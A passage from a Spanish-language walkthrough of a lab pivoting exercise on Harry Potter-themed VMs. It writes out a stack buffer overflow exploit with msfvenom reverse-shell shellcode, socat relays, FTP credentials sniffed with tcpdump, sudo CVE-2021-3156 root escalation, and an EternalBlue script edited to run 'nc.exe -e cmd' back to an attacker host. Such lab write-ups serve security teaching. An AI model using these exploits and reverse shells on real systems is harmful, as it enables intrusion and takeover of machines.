Utilizaremos la herramienta gdb para iniciar el proceso de debugging (en mi caso uso GEF porque es me es más comodo). Ejecutamos el binario a través de la herramienta gdb y volvemos a introducir un payload en el input con muchas A. Observamos que los registros eip y ebp se ha sobreescrito con las letras A que hemos introducido

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
❯ gdb ./server_hogwarts -q
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 10.1.90.20210103-git in 0.00ms using Python engine 3.9
Reading symbols from ./server_hogwarts...
(No debugging symbols found in ./server_hogwarts)
gef➤  r
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffccec  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0xffffd2b0  →  "our spell: "
$edx   : 0xffffd0f4  →  "our spell: "
$esp   : 0xffffcd60  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x80b3158  →  "../csu/libc-start.c"
$edi   : 0xffffd2a8  →  "\nEnter your spell: "
$eip   : 0x41414141 ("AAAA"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd60│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"$esp
0xffffcd64│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd68│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd6c│+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd70│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd74│+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd78│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd7c│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_hogwarts", stopped 0x41414141 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

En este punto tenemos que saber en qué punto se sobreescribe el EIP. Nos serviremos de un comando de la aplicación el cual nos crea un patrón de 1024 carácteres

1
2
3
4
5
gef➤  pattern create
[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef0'
gef➤  

Volvemos a ejecutar el binario e introducimos el patrón generado. Mediante el comando pattern offset $eip sabemos que cantidad de carácteres tenemos que introducir hasta sobreescribir el eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcbac  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x62616162 ("baab"?)
$ecx   : 0xffffd170  →  "our spell: "
$edx   : 0xffffcfb4  →  "our spell: "
$esp   : 0xffffcc20  →  "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]"
$ebp   : 0x62616163 ("caab"?)
$esi   : 0x80b3158  →  "../csu/libc-start.c"
$edi   : 0xffffd168  →  "\nEnter your spell: "
$eip   : 0x62616164 ("daab"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcc20│+0x0000: "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]"$esp
0xffffcc24│+0x0004: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]"
0xffffcc28│+0x0008: "gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsa[...]"
0xffffcc2c│+0x000c: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]"
0xffffcc30│+0x0010: "iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabua[...]"
0xffffcc34│+0x0014: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]"
0xffffcc38│+0x0018: "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa[...]"
0xffffcc3c│+0x001c: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]"
──────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616164
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_hogwarts", stopped 0x62616164 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────
gef➤  pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 112 (little-endian search) likely
[+] Found at offset 304 (big-endian search) 
gef➤  

En este punto sabemos que tenemos que introducir 112 As hasta llegar al eip. Lo comprobamos generando un payload con python

1
2
❯ python3 -c 'print("A"*112 + "B"*4)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcbac  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0xffffce40  →  0x00000a ("\n"?)
$edx   : 0xffffcc84  →  0x00000a ("\n"?)
$esp   : 0xffffcc20  →  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x80b3158  →  "../csu/libc-start.c"
$edi   : 0xffffd168  →  "\nEnter your spell: "
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcc20│+0x0000: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"$esp
0xffffcc24│+0x0004: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcc28│+0x0008: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcc2c│+0x000c: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcc30│+0x0010: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcc34│+0x0014: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcc38│+0x0018: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0xffffcc3c│+0x001c: "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
──────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_hogwarts", stopped 0x42424242 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────
gef➤  

En este punto observamos que eip vale 0x42424242 que corresponde a las 4 B’s que hemos introducido en el payload. El esp apunta al comiendo de nuestras C’s. Hay que lograr que eip apunte a una dirección la cual aplique a nivel de Operations Code un JUMP al esp para que una vez entre en el esp en lugar de insertar C’s podamos insertar shellcode que nos va a garantizar ejecución en la pila. Antes de empezar el script generamos el shellcode con la herramienta msfvenom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.84 LPORT=443 -b "\x00" -f py -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 550 bytes
shellcode =  b""
shellcode += b"\xbe\x44\xf6\x0a\xa2\xd9\xeb\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x12\x83\xe8\xfc\x31\x70\x0e"
shellcode += b"\x03\x34\xf8\xe8\x57\x85\xdf\x1a\x74\xb6\x9c"
shellcode += b"\xb7\x11\x3a\xaa\xd9\x56\x5c\x61\x99\x04\xf9"
shellcode += b"\xc9\xa5\xe7\x79\x60\xa3\x0e\x11\xb3\xfb\xf0"
shellcode += b"\xb5\x5b\xfe\xf2\x34\x27\x77\x13\x86\x31\xd8"
shellcode += b"\x85\xb5\x0e\xdb\xac\xd8\xbc\x5c\xfc\x72\x51"
shellcode += b"\x72\x72\xea\xc5\xa3\x5b\x88\x7c\x35\x40\x1e"
shellcode += b"\x2c\xcc\x66\x2e\xd9\x03\xe8"

Debemos saber el operation code correspondiente al salto al esp. Utilizaremos la aplicación nasm_shell.rb del framework metasploit. El operation code es FFE4

1
2
3
4
❯ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp ESP
00000000  FFE4              jmp esp
nasm > 

Con la herramienta objdump vemos que direcciones hay donde se aplica el salto al esp. Encontramos la dirección 8049d55

1
2
3
4
5
6
7
8
❯ objdump -D server_hogwarts | grep "ff e4"
 8049d55:	ff e4                	jmp    *%esp
 80b322c:	81 73 f6 ff e4 73 f6 	xorl   $0xf673e4ff,-0xa(%ebx)
 80b3253:	ff 91 73 f6 ff e4    	call   *-0x1b00098d(%ecx)
 80b500f:	ff e4                	jmp    *%esp
 80b51ef:	ff e4                	jmp    *%esp
 80b546f:	ff e4                	jmp    *%esp
 80d0717:	ff e4                	jmp    *%esp

El script quedaría definido de la siguiente forma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3

import socket

offset = 112
before_eip = b"A" * offset

eip = b"\x55\x9d\x04\x08" # 8049d55 -> jmp ESP

shellcode =  b""
shellcode += b"\xbe\x44\xf6\x0a\xa2\xd9\xeb\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x12\x83\xe8\xfc\x31\x70\x0e"
shellcode += b"\x03\x34\xf8\xe8\x57\x85\xdf\x1a\x74\xb6\x9c"
shellcode += b"\xb7\x11\x3a\xaa\xd9\x56\x5c\x61\x99\x04\xf9"
shellcode += b"\xc9\xa5\xe7\x79\x60\xa3\x0e\x11\xb3\xfb\xf0"
shellcode += b"\xb5\x5b\xfe\xf2\x34\x27\x77\x13\x86\x31\xd8"
shellcode += b"\x85\xb5\x0e\xdb\xac\xd8\xbc\x5c\xfc\x72\x51"
shellcode += b"\x72\x72\xea\xc5\xa3\x5b\x88\x7c\x35\x40\x1e"
shellcode += b"\x2c\xcc\x66\x2e\xd9\x03\xe8"

after_eip = b"\x90"*32 + shellcode # ESP

payload = before_eip + eip + after_eip 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 9898))
s.send(payload)
s.close()

Ejecutamos el binario, nos ponemos en escucha en el puerto 443 y ejecutamos script para comrprobar que funciona de manera local

Ya sabemos que en local funciona, por lo que procederemos a modificar el script para ejecutar el Buffer Overflow en la máquina Fawkes. Primero debemos generar un shellcode nuevo el cual establezca la reverse shell a su nodo más cercano que es la máquina Nagini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.129 LPORT=443 -b "\x00" -f py -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 550 bytes
shellcode =  b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x5a\xbd\x0c\x99\x42"
shellcode += b"\xf6\x2b\xc9\xb1\x12\x31\x6a\x17\x83\xea\xfc"
shellcode += b"\x03\x66\x8a\xa0\x03\x47\x77\xd3\x0f\xf4\xc4"
shellcode += b"\x4f\xba\xf8\x43\x8e\x8a\x9a\x9e\xd1\x78\x3b"
shellcode += b"\x91\xed\xb3\x3b\x98\x68\xb5\x53\xdb\x23\x21"
shellcode += b"\x22\xb3\x31\xaa\x25\xff\xbf\x4b\x95\x99\xef"
shellcode += b"\xda\x86\xd6\x13\x54\xc9\xd4\x94\x34\x61\x89"
shellcode += b"\xbb\xcb\x19\x3d\xeb\x04\xbb\xd4\x7a\xb9\x69"
shellcode += b"\x74\xf4\xdf\x3d\x71\xcb\xa0"

Sustituimos el shellcode en el script y modificamos la IP. El script se quedaría de la siguiente forma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3

import socket

offset = 112
before_eip = b"A" * offset

eip = b"\x55\x9d\x04\x08" # 8049d55 -> jmp ESP

shellcode =  b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x5a\xbd\x0c\x99\x42"
shellcode += b"\xf6\x2b\xc9\xb1\x12\x31\x6a\x17\x83\xea\xfc"
shellcode += b"\x03\x66\x8a\xa0\x03\x47\x77\xd3\x0f\xf4\xc4"
shellcode += b"\x4f\xba\xf8\x43\x8e\x8a\x9a\x9e\xd1\x78\x3b"
shellcode += b"\x91\xed\xb3\x3b\x98\x68\xb5\x53\xdb\x23\x21"
shellcode += b"\x22\xb3\x31\xaa\x25\xff\xbf\x4b\x95\x99\xef"
shellcode += b"\xda\x86\xd6\x13\x54\xc9\xd4\x94\x34\x61\x89"
shellcode += b"\xbb\xcb\x19\x3d\xeb\x04\xbb\xd4\x7a\xb9\x69"
shellcode += b"\x74\xf4\xdf\x3d\x71\xcb\xa0"

after_eip = b"\x90"*32 + shellcode # ESP

payload = before_eip + eip + after_eip 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.100.130", 9898))
s.send(payload)
s.close()

Tenemos que redirigir el flujo de la conexión con la herramienta socat. Subimos socat a la máquina Nagini y ejecutamos indicando que todas las peticiones que lleguen por el puerto 443 las redirija a la máquina Aragog por el puerto 5556 y a su vez, en la máquina Aragog decimos con la herramienta socat que todas las peticiones que nos lleguen por el puerto 5556 las redirija a nuestra máquina atacante por el puerto 443. Nos ponemos en escucha y ejecutamos script a través de proxychains

1
2
3
4
5
# Nagini
root@Nagini:~# socat TCP-LISTEN:443,fork TCP:10.10.0.128:5556

# Aragog
root@Aragog:~# socat TCP-LISTEN:5556,fork TCP:192.168.1.84:443

Ejecutamos el script, y conseguimos la reverse shell como el usuario harry

Docker Container


Listando interfaces de red, vemos que hemos ganado acceso a un contenedor. Si listamos privilegios de sudo vemos que podemos ejecutar cualquier instrucción sin proporcionar contraseña. Migrarmeos al usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever
sudo -l
User harry may run the following commands on 2b1599256ca6:
    (ALL) NOPASSWD: ALL
sudo /bin/sh
whoami
root

En el directorio /root encontramos un horcrux y un archivo note.txt

1
2
3
4
5
6
7
8
9
10
11
12
cd /root
ls
horcrux1.txt
note.txt
cat horcrux1.txt
horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
echo "NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=" | base64 -d; echo
6: HaRrY PotTer dEsTrOyed by volDeMorT
cat note.txt
Hello Admin!!

We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.

Nos dan una pista. Al parecer alguien está tratando de conectarse al servidor FTP y nos piden que analicemos el tráfico para localizar al usuario. Usaremos la herramienta tcpdump para esto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tcpdump -i eth0 port ftp or ftp-data
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
19:48:01.821765 IP 172.17.0.1.60096 > 2b1599256ca6.21: Flags [S], seq 4141087019, win 64240, options [mss 1460,sackOK,TS val 1890324366 ecr 0,nop,wscale 7], length 0
19:48:01.821776 IP 2b1599256ca6.21 > 172.17.0.1.60096: Flags [S.], seq 3098323563, ack 4141087020, win 65160, options [mss 1460,sackOK,TS val 1661435562 ecr 1890324366,nop,wscale 7], length 0
19:48:01.821789 IP 172.17.0.1.60096 > 2b1599256ca6.21: Flags [.], ack 1, win 502, options [nop,nop,TS val 1890324366 ecr 1661435562], length 0
19:48:01.822201 IP 2b1599256ca6.21 > 172.17.0.1.60096: Flags [P.], seq 1:21, ack 1, win 510, options [nop,nop,TS val 1661435563 ecr 1890324366], length 20: FTP: 220 (vsFTPd 3.0.3)
19:48:01.822225 IP 172.17.0.1.60096 > 2b1599256ca6.21: Flags [.], ack 21, win 502, options [nop,nop,TS val 1890324367 ecr 1661435563], length 0
19:48:01.822265 IP 172.17.0.1.60096 > 2b1599256ca6.21: Flags [P.], seq 1:15, ack 21, win 502, options [nop,nop,TS val 1890324367 ecr 1661435563], length 14: FTP: USER neville
19:48:01.822267 IP 2b1599256ca6.21 > 172.17.0.1.60096: Flags [.], ack 15, win 510, options [nop,nop,TS val 1661435563 ecr 1890324367], length 0
19:48:01.822283 IP 2b1599256ca6.21 > 172.17.0.1.60096: Flags [P.], seq 21:55, ack 15, win 510, options [nop,nop,TS val 1661435563 ecr 1890324367], length 34: FTP: 331 Please specify the password.
19:48:01.822298 IP 172.17.0.1.60096 > 2b1599256ca6.21: Flags [P.], seq 15:30, ack 55, win 502, options [nop,nop,TS val 1890324367 ecr 1661435563], length 15: FTP: PASS bL!Bsg3k
19:48:01.862387 IP 2b1599256ca6.21 > 172.17.0.1.60096: Flags [.], ack 30, win 510, options [nop,nop,TS val 1661435603 ecr 1890324367], length 0
19:48:04.683337 IP 2b1599256ca6.21 > 172.17.0.1.60096: Flags [P.], seq 55:77, ack 30, win 510, options [nop,nop,TS val 1661438424 ecr 1890324367], length 22: FTP: 530 Login incorrect.
19:48:04.683415 IP 172.17.0.1.60096 > 2b1599256ca6.21: Flags [P.], seq 30:36, ack 77, win 502, options [nop,nop,TS val 1890327228 ecr 1661438424], length 6: FTP: QUIT
19:48:04.683422 IP 2b1599256ca6.21 > 172.17.0.1.60096: Flags [.], ack 36, win 510, options [nop,nop,TS val 1661438424 ecr 1890327228], length 0

Obtenemos unas credenciales del usuario neville. Logramos conectarnos por SSH a la máquina Fawkes con las credenciales obtenidas. En el directorio personal de neville encontramos otro horcrux

1
2
3
4
5
6
7
8
9
 proxychains -q ssh neville@192.168.100.130
neville@192.168.100.130's password: 
neville@Fawkes:~$ ls
horcrux2.txt
neville@Fawkes:~$ cat horcrux2.txt 
horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
neville@Fawkes:~$ echo "NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t" | base64 -d; echo
7: NaGiNi tHe SnAke deStroYed By NeVille LonGboTTom
neville@Fawkes:~$ 

Escalada de Privilegios

Listamos archivos de la máquina con privilegios SUID y vemos que sudo está. Verificamos la versión de sudo que es la 1.8.27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
neville@Fawkes:/$ find \-perm -4000 2>/dev/null
./usr/local/bin/sudo
./usr/bin/newgrp
./usr/bin/chfn
./usr/bin/mount
./usr/bin/su
./usr/bin/passwd
./usr/bin/chsh
./usr/bin/gpasswd
./usr/bin/umount
./usr/lib/openssh/ssh-keysign
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/eject/dmcrypt-get-device
neville@Fawkes:/$ sudo --version
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
neville@Fawkes:/$ 

Viendo la versión de sudo sabemos que es vulnerable a CVE-2021-3156 por lo que sabemos que podemos utilizar el exploit exploit_nss.py del repositorio de Github de worawit para elevar privilegios. Debemos modificar el valor de la variable SUDO_PATH puesto que está comtemplando la ruta /usr/bin/sudo y nuestro binario se encuentra en /usr/local/bin/sudo. Una vez adaptado el script lo ejecutamos y elevamos privilegios. El último horcrux se encuenta en la carpeta /root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
neville@Fawkes:/tmp$ python3 exploit.py 
# id
uid=0(root) gid=0(root) groups=0(root),1000(neville)
# cd /root
# ls
horcrux3.txt
# cat horcrux3.txt
__     __    _     _                           _     _     
\ \   / /__ | | __| | ___ _ __ ___   ___  _ __| |_  (_)___ 
 \ \ / / _ \| |/ _` |/ _ \ '_ ` _ \ / _ \| '__| __| | / __|
  \ V / (_) | | (_| |  __/ | | | | | (_) | |  | |_  | \__ \
   \_/ \___/|_|\__,_|\___|_| |_| |_|\___/|_|   \__| |_|___/
                                                           
     _       __            _           _ 
  __| | ___ / _| ___  __ _| |_ ___  __| |
 / _` |/ _ \ |_ / _ \/ _` | __/ _ \/ _` |
| (_| |  __/  _|  __/ (_| | ||  __/ (_| |
 \__,_|\___|_|  \___|\__,_|\__\___|\__,_|
                                         


Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Hard
Machine Name: Fawkes
Horcruxes Hidden in this VM: 3 horcruxes

You have successfully pwned Fawkes machine & defeated Voldemort.
Here is your last hocrux: horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}




# For any queries/suggestions feel free to ping me at email: time4ster@protonmail.com

# echo "ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==" | base64 -d; echo
8: VolDeMorT dEfeAted bY hArrY PoTTeR
# 

Dumbledore

Reconocimiento


Técnicas vistas (Dumbledore):

  • Eternalblue (MS17-010) Exploitation in order to gain access to the Dumbledore-PC machine
  • Host discovery from Windows MSDOS + ARP command
  • Uploading Chisel to the Windows machine
  • Creating a new SOCKS5 connection to gain access to the Matrix 1 machine (Triple SOCKS5 Proxy)

Sabemos que la IP de la máquina Dumbledore es la 192.168.100.128, esto lo vimos cuando creamos el script en bash hostScan en la máquina Nagini. Ahora procederemos a escanear los puertos abiertos de la máquina con la herramienta nmap

1
2
3
4
seq 1 65535 | xargs -P 500 -I {} proxychains nmap -sT -Pn -p{} -open -T5 -v -n 192.168.100.128 2>&1 | grep "tcp open"
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Vemos que el puerto 445 está abierto, con la ayuda de crackmapexec vamos a identificar que sistema operativo está utilizandose, tendremos que pasar por el túnel recién creado con proxychains

1
2
❯ proxychains crackmapexec smb 192.168.100.128 2>/dev/null
SMB         192.168.100.128 445    WIN-EJ3HMCJP0QG  [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:WIN-EJ3HMCJP0QG) (domain:WIN-EJ3HMCJP0QG) (signing:False) (SMBv1:True)

Siendo un Windows 7 con el puerto 445 expuesto, esto huele un poco a un EternalBlue, utilizaremos el repositorio de worawit MS17-010 (Podéis usar el de 3ndG4me pero utilizo este porque el otro me daba problemas), clonaremos el repositorio en nuestro equipo local

Después de clonarlo, nos dirigimos a la carpeta y ejecutamos el checker.py con python2, encontramos el pipe samr, netlogon y lsarpc abiertos, vamos a usar el named pipe samr, editaremos el script en la linea 982 para que nos tome el netcat que estaremos compartiendo a nivel de red por el protocolo SMB, para que lance una reverse shell a la Nagini, utilizaremos la herramienta socat para redirigir todo el tráfico tanto de la conexión SMB y la Reverse Shell, el script quedaría algo así

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()
    
    # print('creating file c:\\pwned.txt on the target')
    # tid2 = smbConn.connectTree('C$')
    # fid2 = smbConn.createFile(tid2, '/pwned.txt')
    # smbConn.closeFile(tid2, fid2)
    # smbConn.disconnectTree(tid2)
    
    #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
    service_exec(conn, r'cmd /c \\192.168.100.129\smbFolder\nc.exe -e cmd 192.168.100.129 5858')
    # Note: there are many methods to get shell over SMB admin session
    # a simple method to get shell (but easily to be detected by AV) is
    # executing binary generated by "msfvenom -f exe-service ..."

Y los túneles con socat algo así

1
2
3
4
5
6
7
8
# Nagini
root@Nagini:~# socat TCP-LISTEN:5858,fork TCP:10.10.0.128:5858 -> Reverse Shell
root@Nagini:~# socat TCP-LISTEN:445,fork TCP:10.10.0.128:445 -> Servidor SMB

# Aragog
root@Nagini:~# socat TCP-LISTEN:5858,fork TCP:10.10.0.128:5858 -> Reverse Shell
root@Aragog:~# socat TCP-LISTEN:445,fork TCP:192.168.1.84:445 -> Servidor SMB

Ahora que tenemos todos los túneles preparados, nos pondremos en escucha con netcat en el puerto 443 y ejecutaremos el script de python pasando por proxychains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ proxychains -q python2 zzz_exploit.py 192.168.100.128 samr
Target OS: Windows 7 Ultimate 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
